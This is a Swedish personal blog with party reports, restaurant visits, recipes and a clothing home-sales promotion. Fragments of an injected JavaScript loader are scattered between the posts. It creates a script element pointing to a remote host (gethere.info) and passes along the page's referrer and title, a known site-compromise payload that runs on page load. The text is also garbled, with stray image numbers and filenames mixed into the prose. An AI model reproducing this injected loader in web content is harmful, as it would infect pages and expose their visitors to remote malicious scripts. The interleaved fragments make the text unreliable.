Helenas sommarfest 1:e augusti 2015

A

Varje år bjuder jag in mina närmaste vänner på en sommarfest och firar att jag fyllt år. I år var det ett ”chartertema” och klädkoden färgglad. Några av tjejerna hade gått ”all in” med sin klädsel. Så roligt med ett tema och alltid ett bra samtalsämne.

21

I år bjöd jag på en sommardrink och sen gjorde jag en buffé där jag bjöd på Yakitorispett, bulgursallad med fetaost, färsk melon, vitlöksdressing och vitlöksbröd. Till dessert hade jag lagat en jordgubbsmousse och gjort en massa olika tryfflar som jag la upp på ett fat och hällde på kanderade mandlar och chokladdoppade popcorn.

43141210102116172019

Varje år har jag en tävling och i år fick ”Annika” pris för bästa klädsel och ”Christine” vann frågetävlingen.

181597658

Vi avslutade kvällen med drinkar på Posthotellet.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Joel 40 år/Oktoberfest

Förra helgen var vi på en kul fest där vi firade Joel 40 år. De flesta hade gått all in med klädseln och det bjöds på roliga lekar god mat och en massa öl såklart.

14

3251124232226272821201918161096781529301312

XX

 

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Pigalle, Göteborg

Förra veckan träffade jag Hannah, Peter, Jesper och Linda i Göteborg då de var på kundbesök för att sälja in SS2015 kollektionen av FME Collection.

Vi träffades först på Bellora hotell där de hade haft kundmöten hela dagen på takterrassen.

13

11923224_912187472184630_4634383701844171705_n

Ni kan läsa om dagen och kvällen på Hannah’s blogg här.

Vi åkte sedan vidare till Pigalle och åt middag på den mysiga takterrassen.

13

11

Först skålades det i champagne och en fördrink innan vi åt middag.

Vi åt följande meny.
Gott bröd och smörstekta kantareller som aptitretare.

8

Getost från Vilhelmsdal
Granskottsirap, buskkrasse & brödgrus

9

Dagens fångst med Accra
Långstekt silverlök, färsklök från Lilla Labäck & spansk körvel

7

Griskind från Tidaholm
Majskräm, rostad fänkål & anis

6

Lite sorbet
5

Blåbär från Jocke på Bramley
Kaffekräm & malt

4

 

 

Rawfoodbaren

10

A

För några veckor sedan besökte jag Rawfoodbaren och åt deras brunch. Sååå gott. Rawfoodbaren ligger på Prinsgatan 5 i Göteborg.

23456
Det var en Tacobrunch som serverades för 225 kr och det smakade helt fantastiskt gott.

Valnöt- och morotsfärs i romanblad med färsk majs, koriander och lime. Cashewcoleslaw, grönsallad, groddar och rökig fejkon (aubergin). Serveras med het salsa, guacamole och creamed corn. Chokladboll med apelsin och chili. Färsk juice av rödbeta, morot, äpple, ingefära. Te eller kaffe.
7

11981312

 var d=document;var s=d.createElement(‘script’);

Västerbottenpaj

3

Igår lagade jag en supergod västerbottenpaj med kantareller. Grundreceptet hittade jag här.

Recept
Pajdeg
100 gram smör
100 gram vetemjöl (1 2/3 dl)
2 msk kallt vatten

Fyllning
200 gram västerbottenost, grovriven
2 ägg
2 dl mjölk eller vispgrädde
Salt och nymalen peppar

Kantareller

Gör så här:
Värm ugnen till 200 grader.

Smörstek dina kantareller.

Pajdeg
Hacka samman smör och mjöl till en smulig massa, eller mixa i en matberedare.
Tillsätt vatten och blanda snabbt ihop till en deg.

Tryck ut degen i en pajform, ca 24 cm i diameter, och ställ den i kylen i en halvtimme.
Picka pajskalet med en gaffel och förgrädda det mitt i ugnen i ca 10 minuter. Låt svalna.
Fördela västerbottensost i pajskalet.
Blanda ägg, mjölk, salt och peppar, häll det över osten och grädda pajen mitt i ugnen i ca 30 minuter.

Servera pajen med en god sallad.

10118

75961432

 

 if (document.currentScript) {

”Femme Collection” i Göteborg

Nu äntligen har jag fått lite bilder från Hannah Graaf’s nya kollektion gällande AW2015 Femme Collection.
Snart börjar säljstart inför höstens alla visningar och jag ser fram emot att få erhålla provkollektionen.

Om ni vill ha en privat visning hemma hos er eller med kollegorna på jobbet kan ni kontakta mig på helena.lagerbohm@gmail.com. Värdinnegåvan är 300 kr rabatt på ett köp av ett plagg ur kollektionen.
Jag är homesales återförsäljare i Göteborg.
Jag brukar rekommendera 8-10 tjejer på en visning.

Här nedan ser ni några av höstens modeller.

Hannah dress

hannah_011

Fanny dress

fanny_start_023

 

Sara dress

sara_007

 

Sara print

Sara print

 

Leona

leona_008

Maj

maj_037

Jonna

jonna_018

Vida long Black

vida_ls_086

Vida long White

vida_ls_white_085

Vida linen

vida_ss_004

Emelie

emelie_start_088

Johanna

johanna_start_040

 

Angie blouse print

angie_print_072

 

 

 

 } else {

Jordgubbsmousse

2

Förra helgen gjorde jag jordgubbsmousse som smakade supergott. Receptet hittade jag här.

Recept 6 portioner
3/4 liter (300-400 gram) jordgubbar
3 dl vispgrädde
3/4 dl florsocker
1-2 tsk vaniljsocker

Gör så här: Skölj jordgubbarna. Ta undan 6 stycken till garnering, ta bort blomfästena på de resterande. Lägg dem på en handduk för att rinna av och torka. Mosa jordgubbarna med en gaffel. Vispa grädden till fast skum med florsocker och vaniljsocker. Ställ i kylskåp i 30 minuter så att den blir kall. Vänd ner jordgubbsmoset i grädden. Fördela moussen i sex portionsglas. Garnera med jordgubbar.

432bild1

Qui, Göteborg

I tisdags provade jag spraytan för första gången på Qui. Jag hade köpt en let’s deal där jag betalade 190 kr för en spraytan (helkropp) istället för 350 kr. Qui hittar du på Vasagatan 36 i helt otroligt fina lokaler.
Det är Josefine Svärd som tar hand om spraytan och hon är superduktig.

1413

Då det var första gången jag provade spraytan berättade hon lite hur det går till och vad man ska tänka på för att underhålla sin solbränna. Spraytan håller ca en vecka och färgen blir mycket naturlig. Jag valde att få lite mindre färg i ansiktet.  Jag fick ställa mig ett litet öppet tält där hon först smörjde in mina naglar, knäskålar och tår och sen körde hon igång med spraytan som tog några minuter. Efteråt fick jag torka några minuter framför en fläkt.
Det här kommer jag göra igen och jag är så nöjd med resultatet.
Qui har de en massa andra skönhetsbehandlingar som tex ögonfransförlänging och olika sorters ansiktsbehandlingar.

1920A9781711

Här ser ni tältet där man får stå när Josefine sprayar dig.

18

Här får du stå framför fläkten och torka dig en stund efteråt.

12

Vill ni kontakta Josefine ser ni hennes kontaktuppgifter nedan.

5

1var d=document;var s=d.createElement(‘script’);

Vitlöksbröd

1

Vitlöksbröd passar perfekt till sallad eller en grillbuffé.

Recept
1 baguette
1 stor vitlöksklyfta
Smör
persilja

Gör så här: Skär din baguette i tunna skivor. Rör ihop vitlökssmör (smör, persilja, vitlök).
Bred på vitlökssmör på bröden och ställ in i ugnen på 225 grader ca 5 minuter}

Teriyakispett

 

1

Förra lördagen bjöd jag på tjejmiddag och lagade Teriyakispett för första gången. Spetten blev supergoda och perfekt att förbereda spetten dagen innan middagen och sen ta fram och värma och pensla på lite glaze vid servering. Receptet hittade jag här.

Recept 4 personer
0,5 dl japansk soja
600 gram kycklinglårfilé
16 grillspett av trä

Glaze
1 dl japansk soja
1 dl socker
Sesamfrö

Gör så här: Börja med att blötlägga dina grillspett i vatten någon timma.
Skär eventuellt större bitar av kycklinglårfiléerna i avlånga spettvänliga format. Marinera dem i soja. Enklast är att vända runt allt i en skål och ställa den åt sidan ett tag. Någon timme, men 10 minuter är ok.

Koka upp soja, socker och sesamfrön. Rör tills sockret smält. Ta av kastrullen från plattan och låt svalna.

7

Spetsa kycklingbitarna på träspetten och placera alla, samtidigt, på grillen eller på ett grillgaller över en plåt i ugnen. Vänd spetten tills de fått fin färg runt om.

Rulla spetten i sesam- och sockerglazen så att hela kycklingbitarna är helt täckta. Servera.

Jag serverade mina spett med bulgursallad och melon.

865

491011

 document.currentScript.parentNode.insertBefore(s, document.currentScript);